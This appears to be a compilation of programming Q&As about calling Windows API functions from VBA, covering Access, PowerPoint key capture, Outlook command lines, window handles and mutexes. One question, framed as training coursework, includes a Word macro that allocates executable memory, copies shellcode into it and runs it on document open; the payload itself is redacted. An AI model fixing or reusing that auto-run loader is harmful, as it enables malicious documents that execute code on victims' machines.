I am trying to implement a script which would disable "close" button of the ms access window.
However, I get compilation error when trying to declare functions:
Option Compare Database
Option Explicit
Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal wRevert As Long) As Long
Private Declare Function EnableMenuItem Lib "user32" (ByVal hMenu As Long, ByVal wIDEnableItem As Long, ByVal wEnable As Long) As Long
Public Sub AccessCloseButtonEnabled(pfEnabled As Boolean)
' Comments: Control the Access close button.
' Disabling it forces the user to exit within the application
' Params : pfEnabled TRUE enables the close button, FALSE disabled it
' Owner : Copyright (c) FMS, Inc.
' Source : Total Visual SourceBook
' Usage : Permission granted to subscribers of the FMS Newsletter
On Error Resume Next
Const clngMF_ByCommand As Long = &H0&
Const clngMF_Grayed As Long = &H1&
Const clngSC_Close As Long = &HF060&
Dim lngWindow As Long
Dim lngMenu As Long
Dim lngFlags As Long
lngWindow = Application.hWndAccessApp
lngMenu = GetSystemMenu(lngWindow, 0)
If pfEnabled Then
lngFlags = clngMF_ByCommand And Not clngMF_Grayed
Else
lngFlags = clngMF_ByCommand Or clngMF_Grayed
End If
Call EnableMenuItem(lngMenu, clngSC_Close, lngFlags)
End Sub
Translation: Error in the compilation of the functions. Syntax Error in a Visual Basic Module. Check the program, and then recompile it.
What do you think might have caused the problem?
The declarations aren't 64-bit compatible, and you're using longs instead of booleans for wRevert and the return of EnableMenuItem. You can try the following (needs VBA7 (Office 2010+) for LongPtr support):
Private Declare PtrSafe Function GetSystemMenu Lib "user32" (ByVal hwnd As LongPtr, ByVal wRevert As Boolean) As LongPtr
Private Declare PtrSafe Function EnableMenuItem Lib "user32" (ByVal hMenu As LongPtr, ByVal wIDEnableItem As Long, ByVal wEnable As Long) As Boolean
Related
I'm testing out running shellcode in memory for a training course and am hitting some issues with VBAs errors.
When I try to run the macro in Word I get the following error:
Compile Error: Type mismatch
This appears to point towards my use of RtlMoveMemory within my Run() functions. I have copied this verbatim from the course material and it appears to match other samples online.
I have tried modifying the types of addr, data and counter to LongLong or just Long but they seem to throw the same error. I am using a 64-bit version of Windows and my understanding is that LongPtr should be the correct 'bitness', 64.
What am I missing below? I have redacted the shellcode as it was a Metasploit payload.
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function Run()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(.... _)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
Run
End Sub
Sub AutoOpen()
Run
End Sub
I have 4 slides with an ActiveX Label in each of the slides. The first slide contains an ActiveX Command Button.
Private Sub CommandButton1_KeyDown(ByVal KeyCode As MSForms.ReturnInteger, ByVal Shift As Integer)
Set shpPoint = ActivePresentation.SlideShowWindow.View.Slide.Shapes("TextBox 1")
If (KeyCode = vbKeyA) Then
Point = Point + 1
shpPoint.TextFrame.TextRange = Point
End If
End Sub
This code allows me to capture the keypress and run the corresponding macro. To start capturing the keypresses, I would have to first click on the Command Button present in Slide 1. After that, the code does its job wonderfully. However, the code would not work if I go to another slide. The keypress capture occurs only in Slide 1. I assume it has to do with the Private Sub present within Slide1
I'm stuck at replicating the same as I navigate through slides 1 to 4. I do not want to place a command button on every slide. I would like for vbKeyA to be captured across all slides and run the corresponding macro.
Please advise the best method to proceed.
Your approach works because when you click the button for the first time, it gets the focus. As long as the button has the focus, the KeyDown event will trigger. As soon as the button loses focus the event will not trigger anymore. Once you change slide the button on the first slide loses focus.
The comment provided by #DanielDuĊĦek is sensible. Using this approach, you need a control that exposes a KeyDown event in order to trap it and unfortunately you would need such a control to always have the focus, hence one on each slide. Could be a Frame, TextBox, CommandButton etc.
Initial approach - you can skip this section
My initial approach was to try to improve on your approach. Main steps:
At the click of the initial button I've programmatically added a transparent button on each slide using Slide.Shapes.AddOLEObject ClassName:="Forms.CommandButton.1"
I've retrieved each button using the shape returned by AddOLEObject with: Shape.OLEFormat.Object
I added each button in a wrapper class so I can trap the KeyDown events
I edited each button (like making it transparent)
I then added all wrapped buttons to a global collection so I can remove them later.
I encountered 2 issues:
I was not able to programatically set the focus on the transparent buttons (BTW it seems the slide app events are not firing properly - yes, I had a wrapper WithEvents application class as well). Even if this worked the control can still lose focus so it wouldn't be too reliable
The wrapped buttons seemed to lose state (although the global collection had a reference to each) and I could not remove them later
Overall the above approach is horrible and unreliable.
Actual solution
Instead of relying on controls with events I proceeded to hook into the keyboard itself. The following solution will only work on Windows (not on a Mac). As far as I tested it works well.
Drop the following code into a standard module. Call it KeyboardHook:
Option Explicit
'API declarations
#If Mac Then
'No Mac functionality implemented
#Else 'Windows API functionality
#If VBA7 Then
Private Declare PtrSafe Function CallNextHookEx Lib "user32" (ByVal hHook As LongPtr, ByVal ncode As Long, ByVal wParam As LongPtr, lParam As Any) As LongPtr
Private Declare PtrSafe Function GetCurrentThreadId Lib "kernel32" () As Long
Private Declare PtrSafe Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare PtrSafe Function GetActiveWindow Lib "user32" () As LongPtr
Private Declare PtrSafe Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As LongPtr, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare PtrSafe Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As LongPtr) As Long
Private Declare PtrSafe Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As LongPtr, ByVal hmod As LongPtr, ByVal dwThreadId As Long) As LongPtr
Private Declare PtrSafe Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As LongPtr) As Long
#Else
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetCurrentThreadId Lib "kernel32" () As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
#End If
#End If
'Id of the hook procedure to be installed with SetWindowsHookExA for KeyboardProc
Private Const WH_KEYBOARD As Long = 2
'Hook handle returned by SetWindowsHookEx. Used later in UnhookWindowsHookEx
#If VBA7 Then
Private m_hHookKeyboard As LongPtr
#Else
Private m_hHookKeyboard As Long
#End If
'Stored to check if presentation is still running via 'IsPresentationActive'
Private m_presentation As Presentation
Private Const REG_APP As String = "PP"
Private Const REG_SECTION As String = "KeyHook"
Private Const REG_KEY As String = "hHook"
Private Function IsPresentationActive() As Boolean
On Error Resume Next
IsPresentationActive = ActivePresentation.SlideShowWindow.Active
IsPresentationActive = (Err.Number = 0)
On Error GoTo 0
End Function
'*******************************************************************************
'Hooks Keyboard messages
'*******************************************************************************
Public Sub HookKeyboard()
UnHookKeyboard 'Remove previous hook
'
Set m_presentation = ActivePresentation
If Not IsPresentationActive Then Exit Sub
'
Dim isHookSuccessful As Boolean
'
#If Mac Then
#Else
m_hHookKeyboard = SetWindowsHookEx(idHook:=WH_KEYBOARD _
, lpfn:=AddressOf KeyboardProc _
, hmod:=0 _
, dwThreadId:=GetCurrentThreadId())
#End If
If m_hHookKeyboard <> 0 Then
SaveSetting REG_APP, REG_SECTION, REG_KEY, m_hHookKeyboard
Debug.Print "Keyboard hooked " & Now
End If
End Sub
'*******************************************************************************
'UnHooks Keyboard
'*******************************************************************************
Public Sub UnHookKeyboard()
If m_hHookKeyboard = 0 Then 'Try to restore if state was lost
Dim savedHook As String
'
savedHook = GetSetting(REG_APP, REG_SECTION, REG_KEY)
If savedHook <> vbNullString Then
#If VBA7 Then
m_hHookKeyboard = CLngPtr(savedHook)
#Else
m_hHookKeyboard = CLng(savedHook)
#End If
End If
End If
'
If m_hHookKeyboard <> 0 Then
#If Mac Then
#Else
UnhookWindowsHookEx m_hHookKeyboard
#End If
m_hHookKeyboard = 0
DeleteSetting REG_APP, REG_SECTION, REG_KEY
Debug.Print "Keyboard unhooked " & Now
End If
End Sub
'*******************************************************************************
'Callback hook function - monitors keyboard messages
'https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644984(v=vs.85)
'*******************************************************************************
#If Mac Then
#Else
#If VBA7 Then
Private Function KeyboardProc(ByVal ncode As Long _
, ByVal wParam As Long _
, ByVal lParam As Long) As LongPtr
#Else
Private Function KeyboardProc(ByVal ncode As Long _
, ByVal wParam As Long _
, ByVal lParam As Long) As Long
#End If
'nCode
Const HC_ACTION As Long = 0
Const HC_NOREMOVE As Long = 3
'
'WM_KEYUP/DOWN/CHAR HIWORD(lParam) flags
Const KF_EXTENDED = &H100
Const KF_DLGMODE = &H800
Const KF_MENUMODE = &H1000
Const KF_ALTDOWN = &H2000
Const KF_REPEAT = &H4000
Const KF_UP = &H8000
'
If IsVBEActive Then GoTo Unhook 'Unhook if a VBE window is active (to avoid crashes)
If Not IsPresentationActive Then GoTo Unhook
'
If ncode = HC_ACTION Then
If wParam = vbKeyA And (lParam And KF_UP) > 0 Then
Debug.Print "A " & Now
Debug.Print "Shift is down: " & IsShiftKeyDown()
Debug.Print "Ctrl is down: " & IsControlKeyDown()
Debug.Print
'
KeyboardProc = -1
Exit Function
End If
End If
'
NextHook:
KeyboardProc = CallNextHookEx(0, ncode, wParam, ByVal lParam)
Exit Function
Unhook:
UnHookKeyboard
GoTo NextHook
End Function
#End If
'*******************************************************************************
'Get Shift/Control Key State
'https://learn.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getkeystate
'https://learn.microsoft.com/en-us/windows/desktop/inputdev/virtual-key-codes
'*******************************************************************************
Private Function IsShiftKeyDown() As Boolean
Const VK_SHIFT As Long = &H10
'
IsShiftKeyDown = CBool(GetKeyState(VK_SHIFT) And &H8000) 'hi-order bit only
End Function
Private Function IsControlKeyDown() As Boolean
Const VK_CONTROL As Long = &H11
'
IsControlKeyDown = CBool(GetKeyState(VK_CONTROL) And &H8000)
End Function
'*******************************************************************************
'Returns the String Caption of a Window identified by a handle
'*******************************************************************************
#If VBA7 Then
Private Function GetWindowCaption(ByVal hwnd As LongPtr) As String
#Else
Private Function GetWindowCaption(ByVal hwnd As Long) As String
#End If
Dim bufferLength As Long: bufferLength = GetWindowTextLength(hwnd)
GetWindowCaption = VBA.Space$(bufferLength)
GetWindowText hwnd, GetWindowCaption, bufferLength + 1
End Function
'*******************************************************************************
'Checks if the ActiveWindow is a VBE Window
'*******************************************************************************
Private Function IsVBEActive() As Boolean
#If Mac Then
#Else
IsVBEActive = VBA.InStr(1, GetWindowCaption(GetActiveWindow()) _
, "Microsoft Visual Basic", vbTextCompare) <> 0
#End If
End Function
All you need to do to start tracking key presses is to call the the HookKeyboard method once the presentation has started. You can do that in a few ways. Here are 2:
Press Alt+F8 (Macro Dialog Box) and then run the Macro directly
Use an ActiveX button on the first slide:
Private Sub CommandButton1_Click()
HookKeyboard
End Sub
Important! I've written the code in such a way that it hooks only if the presentation is already started at the moment you call it. Also, it automatically unhooks when the presentation is over (at any key press). If you want to stop the hook before the presentation ends then simply call the UnHookKeyboard method.
Currently, the above code will only display some info in the Immediate Window whenever you press the A key:
All you need to do is to go to the KeyboardProc method and change these lines:
Debug.Print "A " & Now
Debug.Print "Shift is down: " & IsShiftKeyDown()
Debug.Print "Ctrl is down: " & IsControlKeyDown()
Debug.Print
to whatever you need. I suppose you will simply call you desired macro.
I have a macro in outlook which I want to run on startup sometimes... Odd request I know. I know about the Application_Startup Sub but I am wondering if it is possible to pass command-line arguments to it?
EDIT: our real requirement is to sometimes run a macro on startup based on a command-line argument. I have tried VBS and Application.Run and also the command-line switch /autorun which has been deprecated as of outlook 2003.
You can use the GetCommandLine function which retrieves the command-line string for the current process. To access the function just paste this API declaration at the top of your macro module:
Declare Function GetCommandLineA Lib "Kernel32" () As String
And then in the VBA sub you can use the following code:
Dim cmdLineArgs As String
'Get the commande line string
cmdLineArgs = GetCommandLineA
found this : https://social.msdn.microsoft.com/Forums/en-US/0017d844-3e4a-4115-bc51-cf02ca23db0c/vba-to-fetch-excel-command-line-64-bit?forum=exceldev
posted by : https://social.msdn.microsoft.com/profile/andreas%20killer/?ws=usercard-mini
'Note: Declaration is overloaded with LONG!
#If Win64 Then
Private Declare PtrSafe Function GetCommandLineL Lib "kernel32" Alias "GetCommandLineA" () As LongPtr
Private Declare PtrSafe Function lstrcpyL Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As LongPtr) As Long
Private Declare PtrSafe Function lstrlenL Lib "kernel32" Alias "lstrlenA" (ByVal lpString As LongPtr) As Long
#Else
Private Declare Function GetCommandLineL Lib "kernel32" Alias "GetCommandLineA" () As Long
Private Declare Function lstrcpyL Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function lstrlenL Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long
#End If
'
Function GetCommandLine() As String
#If Win64 Then
Dim lngPtr As LongPtr
#Else
Dim lngPtr As Long
#End If
Dim strReturn As String
Dim StringLength As Long
lngPtr = GetCommandLineL ' Get the pointer to the commandline string
StringLength = lstrlenL(lngPtr) ' get the length of the string (not including the terminating null character):
strReturn = String$(StringLength + 1, 0) ' initialize our string so it has enough characters including the null character:
lstrcpyL strReturn, lngPtr ' copy the string we have a pointer to into our new string:
GetCommandLine = Left$(strReturn, StringLength) ' now strip off the null character at the end:
End Function
Sub getCmdLine()
Debug.Print GetCommandLine()
End Sub
I usually write scripts in the VBE of Excel because they all tend to involve Excel. This time I wrote a script which has nothing to do with Excel, so I want to make it an executable file.
Note:
- Below code is a part of the actual script
- I tested this part also separately in the VBE and it works
- I tried it now in Visual Studio 2015
Problem:
- The code returns the handle of lWindow, but always returns 0 voor lChild
Module Module1
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String,
ByVal lpWindowName As String) As Long
Declare Function GetWindow Lib "user32.dll" (
ByVal hwnd As Long,
ByVal wCmd As Long) As Long
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2
Private Const BM_CLICK = &HF5&
Sub Main()
Dim lWindow As Long
Dim lChild As Long
lWindow = FindWindow(vbNullString, "Untitled - Notepad")
Debug.Print(lWindow)
lChild = GetWindow(lWindow, GW_CHILD)
Debug.Print(lChild)
End Sub
End Module
Thanks.
I am doing some intertwining clipboard magic with Word and Excel VBA and I figured clipboard being a shared resource should probably be guarded by a simple mutex.
How would I go about creating and releasing a named mutex in VBA? I couldn't find anything VBA related. As if nobody ever created a mutex from VBA. Is it impossible?
This answer should provide you with the general approach to achieve the synchronization between Excel-VBA and word-VBA using a mutex to protect some shared data. The details depend on your target application..
The idea goes like this, you can create this code in the module ThisWorkbook of Excel and similarly in ThisDocument of Word:
' Module ThisWorkbook or similarly ThisDocument
Private myMutex As Long
Private Const ERROR_ALREADY_EXISTS = 183&
Private Const MUTEX_ALL_ACCESS = &H1F0001
Private Declare PtrSafe Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByVal lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare PtrSafe Function OpenMutex Lib "kernel32" Alias "OpenMutexA" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal lpName As String) As Long
Private Declare PtrSafe Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long
Private Sub Workbook_Open()
myMutex = CreateMutex(0, 1, "myMutex")
Dim er As Long: er = Err.LastDllError
If er = 0 Then
MsgBox "myMutex Created"
ElseIf er = ERROR_ALREADY_EXISTS Then
MsgBox "mutex previously created"
myMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, "myMutex")
Else
MsgBox "mutex creation failed"
End If
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
CloseHandle myMutex
End Sub
Private Sub doSomeCriticalTask()
WaitForSingleObject myMutex, 20000 ' say we can wait for 20 seconds
''''''''''''''''''''''''''''''''''''''''''''''''''''''
' do critical section code, access shared data safely
''''''''''''''''''''''''''''''''''''''''''''''''''''''
ReleaseMutex myMutex
End Sub